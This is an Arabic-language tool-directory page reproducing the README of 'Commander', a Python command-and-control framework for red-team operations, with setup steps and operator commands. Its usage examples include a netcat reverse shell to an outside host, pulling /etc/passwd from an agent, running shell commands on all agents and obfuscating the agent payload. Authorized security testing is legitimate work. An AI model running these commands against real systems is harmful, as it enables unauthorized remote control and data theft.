Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Commander — إطار عمل للقيادة والتحكم مبني على بايثون مع اتصال TLS مشفر، ودعم عوامل متعددة (بايثون/سي)، وجلسات تفاعلية، ونقل الملفات، وتعتيم AES لعمليات الفريق الأحمر. | Kitploit
أدوات/GitHubGitHub/voukatas/commander
أدوات التشفير/فك التشفيرما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubvoukatas/commander

Commander

إطار عمل للقيادة والتحكم مبني على بايثون مع اتصال TLS مشفر، ودعم عوامل متعددة (بايثون/سي)، وجلسات تفاعلية، ونقل الملفات، وتعتيم AES لعمليات الفريق الأحمر.

عرض المستودع
6318منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Commander

Commander هو إطار عمل للقيادة والتحكم (C2) مكتوب بلغة Python وإطار Flask وSQLite. يأتي مع عميلين مكتوبين بلغة Python ولغة C.

قيد التطوير المستمر

غير مناسب للمبتدئين

الميزات

  • اتصال مشفر بالكامل (TLS)
  • عملاء متعددون
  • التمويه (Obfuscation)
  • جلسات تفاعلية
  • قابل للتوسع
  • ترميز البيانات بصيغة Base64
  • واجهة برمجية RESTful

العملاء

  • Python 3
    • يدعم عميل Python:
      • الجلسات، وهي واجهة تفاعلية بين المسؤول والعميل (مثل SSH)
      • التمويه
      • أنظمة Windows و Linux
      • وظائف رفع/تحميل الملفات
  • C
    • يدعم عميل C الوظائف الأساسية فقط في الوقت الحالي، وهي التحكم في المهام للعملاء
    • لأنظمة Linux فقط

المتطلبات

يتطلب التشغيل Python >= 3.6 والتبعيات التالية

root@kitploit:~
Linux لملفي admin.py و c2_server.py. (غير مُختبر على Windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

المعاينة

screenshot

كيفية الاستخدام

أولاً أنشئ الشهادات والمفاتيح المطلوبة

root@kitploit:~
# إذا كنت ترغب في تأمين مفتاحك بعبارة مرور، استبعد الوسيط -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

قم بتشغيل وحدة admin.py أولاً لإنشاء ملف قاعدة بيانات sqlite محلي

root@kitploit:~
python3 admin.py

ثم قم بتشغيل الخادم

root@kitploit:~
python3 c2_server.py

وأخيراً العميل. بالنسبة لعميل Python، يمكنك تشغيله مباشرة ولكن في حالة عميل C، يجب ترجمته أولاً.

root@kitploit:~
# عميل Python
python3 agent.py

# عميل C
gcc agent.c -o agent -lcurl -lb64
./agent

بشكل افتراضي، يعمل كل من العملاء والخادم عبر TLS و base64. نقطة الاتصال مضبوطة على 127.0.0.1:5000 وفي حالة الحاجة إلى نقطة مختلفة، يجب تغييرها في ملفات مصدر العملاء.

كمشغل/مسؤول، يمكنك استخدام الأوامر التالية للتحكم في عملائك

root@kitploit:~
الأوامر:

  task add arg c2-commands
    إضافة مهمة إلى عميل، أو إلى مجموعة، أو إلى جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: القيم الممكنة هي c2-register c2-shell c2-sleep c2-quit
      c2-register: يطلب من العميل التسجيل مرة أخرى.
      c2-shell cmd: يأخذ أمر shell ليقوم العميل بتنفيذه. مثال: c2-shell whoami
         cmd: الأمر المطلوب تنفيذه.
      c2-sleep: يضبط الفاصل الزمني الذي سيتحقق فيه العميل من وجود مهام.
      c2-session port: يطلب من العميل فتح جلسة shell مع الخادم على هذا المنفذ.
         port: المنفذ للاتصال. إذا لم يتم توفيره، يكون الافتراضي 5555.
      c2-quit: يفرض على العميل الخروج.

  task delete arg
    حذف مهمة من عميل أو من جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    يعرض معلومات عن جميع العملاء المتاحين أو عن عميل محدد.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    يعرض مهام عميل أو جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    يعرض السجل/نتائج عميل أو جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    يحذف قاعدة البيانات بحيث يتم تسجيل العملاء النشطين مرة أخرى.

  exit
    وداعاً!


الجلسات:

  sessions server arg [port]
    يتحكم في معالج الجلسات.
    arg: يمكن أن يأخذ القيم التالية: 'start' , 'stop' 'status' 
    port: المنفذ اختياري للوسيط start وإذا لم يتم توفيره، يكون الافتراضي 5555. هذه الوسيطة تحدد منفذ خادم الجلسات.
  sessions select arg
    يختار الجلسة التي تريد الاتصال بها.
    arg: الفهرس من نتيجة 'sessions list' 
  sessions close arg
    يغلق جلسة.
    arg: الفهرس من نتيجة 'sessions list' 
  sessions list
    يعرض الجلسات المتاحة
  local-ls directory
    يسرد على مضيفك الملفات الموجودة في الدليل المحدد
  download 'file'
    يقوم بتحميل 'الملف' محلياً في الدليل الحالي
  upload 'file'
    يقوم برفع ملف إلى الدليل الذي يتواجد فيه العميل حالياً

ينبغي إيلاء اهتمام خاص لأمر 'find active agents'. هذا الأمر يحذف جميع الجداول ويعيد إنشاءها. قد يبدو مخيفاً ولكنه ليس كذلك، على الأقل هذا ما أعتقده :P

الفكرة وراء هذه الوظيفة هي أن خادم C2 يمكنه أن يطلب من عميل إعادة التسجيل في حال didn't يتعرف عليه. لذا، بما أننا نريد مسح قاعدة البيانات من الإدخالات القديمة غير المستخدمة وفي نفس الوقت العثور على جميع المضيفين النشطين حالياً، يمكننا حذف الجداول وتشغيل آلية إعادة التسجيل لخادم C2. انظر أدناه لآلية إعادة التسجيل.

التدفقات

أدناه يمكنك العثور على مخطط التدفق الطبيعي

التدفق الطبيعي

screenshot

في حالة حدوث عطل كبير في البيئة مثل تلف قاعدة البيانات أو أي عطل حرج آخر، يتم تمكين آلية إعادة التسجيل حتى لا نفقد اتصالنا بعملائنا.

بشكل أكثر تحديداً، في حالة فقدان قاعدة البيانات، لن يكون لدينا أي معلومات عن المعرفات الفريدة (uuids) التي نستقبلها، وبالتالي لا يمكننا تعيين مهام لها، إلخ... لذا، سيستمر العملاء في محاولة استرداد مهامهم، وبما أننا لا نتعرف عليهم، سنطلب منهم التسجيل مرة أخرى حتى نتمكن من إدخالهم في قاعدة بياناتنا والتحكم بهم مرة أخرى.

أدناه مخطط التدفق لهذه الحالة.

تدفق إعادة التسجيل

screenshot

أمثلة مفيدة

لإعداد بيئتك، قم بتشغيل admin.py أولاً ثم c2_server.py وقم بتشغيل العميل. بعد ذلك يمكنك التحقق من العملاء المتاحين.

root@kitploit:~
# عرض جميع العملاء المتاحين
show agent all

لتعليم جميع العملاء بتنفيذ الأمر "id" يمكنك القيام بذلك:

root@kitploit:~
# لجميع العملاء
task add all c2-shell id

# التحقق من نتائج الأمر "id"
show result all

للتحقق من السجل/النتائج السابقة للمهام المنفذة لعميل محدد، قم بذلك:

root@kitploit:~
# التحقق من نتائج عميل محدد
show result 85913eb1245d40eb96cf53eaf0b1e241

يمكنك أيضاً تغيير الفاصل الزمني الذي يتحقق فيه العملاء من وجود مهام إلى 30 ثانية كالتالي:

root@kitploit:~
# لتعيينه لجميع العملاء
task add all c2-sleep 30

لفتح جلسة مع واحد أو أكثر من عملائك، قم بما يلي.

root@kitploit:~
# العثور على العميل/المعرف الفريد
show agent all

# تمكين الخادم من قبول الاتصالات
sessions server start 5555

# إضافة مهمة لجلسة إلى العميل المفضل لديك
task add your_prefered_agent_uuid_here c2-session 5555

# عرض قائمة الاتصالات المتاحة
sessions list

# اختيار الاتصال بإحدى الجلسات، لنختر 0
sessions select 0

# تشغيل أمر
id

# تحميل ملف passwd محلياً
download /etc/passwd

# سرد ملفاتك محلياً للتحقق من إنشاء passwd
local-ls

# رفع ملف (test.txt) في الدليل الذي يتواجد فيه العميل
upload test.txt

# العودة إلى واجهة الأوامر الرئيسية
go back

# التحقق مما إذا كان الخادم قيد التشغيل
sessions server status

# إيقاف خادم الجلسات
sessions server stop

إذا كنت لسبب ما ترغب في تشغيل جلسة خارجية أخرى مثل netcat أو metasploit، قم بما يلي.

root@kitploit:~
# عرض جميع العملاء المتاحين
show agent all

# أولاً افتح netcat على جهازك
nc -vnlp 4444

# إضافة مهمة لفتح reverse shell لعميل محدد
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

بهذه الطريقة ستحصل على shell "عنيد" حتى لو انقطع اتصالك، سيعود فوراً. فقط الأوامر التفاعلية هي التي ستؤدي إلى موته بشكل دائم.

التمويه

يقدم عميل Python التمويه باستخدام تشفير AES ECB أساسي وترميز base64

قم بتعديل ملف obfuscator.py وتغيير قيمة 'key' إلى مفتاح بطول 16 حرفاً لإنشاء حمولة مخصصة. يمكن العثور على مخرجات العميل الجديد في Agents/obs_agent.py

يمكنك تشغيله كالتالي:

root@kitploit:~
python3 obfuscator.py

# ولتشغيل العميل، كالمعتاد
python3 obs_agent.py

نصائح وحيل

  1. لا يمكن لخادم Flask المدمج معالجة الطلبات المتعددة/المتزامنة. لذا، يمكنك استخدام خادم gunicorn للحصول على أداء أفضل كالتالي:
root@kitploit:~
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. إنشاء ملف ثنائي لعميل Python الخاص بك كالتالي
root@kitploit:~
pip install pyinstaller
pyinstaller --onefile agent.py

يمكن العثور على الملف الثنائي تحت دليل dist.

في حالة فشل شيء ما، قد تحتاج إلى تحديث مكتبات python و pip الخاصة بك. إذا استمر الفشل، فهذا ما حدث... الحياة

  1. إنشاء شهادات جديدة في كل مهمة

  2. قم بعمل نسخة احتياطية من c2.db، إنه سهل... مجرد ملف

الاختبار

تم استخدام pytest للاختبار. يمكنك تشغيل الاختبارات كالتالي:

root@kitploit:~
cd tests/
py.test

كن حذراً: يجب تشغيل الاختبارات داخل دليل tests وإلا سيتم استبدال ملف c2.db الخاص بك وستفقد بياناتك

للتحقق من تغطية الكود وإنشاء تقرير html جميل، يمكنك استخدام:

root@kitploit:~
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

إخلاء المسؤولية: هذه الأداة مخصصة فقط كأداة عرض توضيحي لمفهوم لاختبار الأمان المصرح به. تشغيل هذه الأداة ضد مضيفين ليس لديك إذن صريح لاختبارهم غير قانوني. أنت مسؤول عن أي مشكلة قد تسببها باستخدام هذه الأداة.

تنزيل الأداة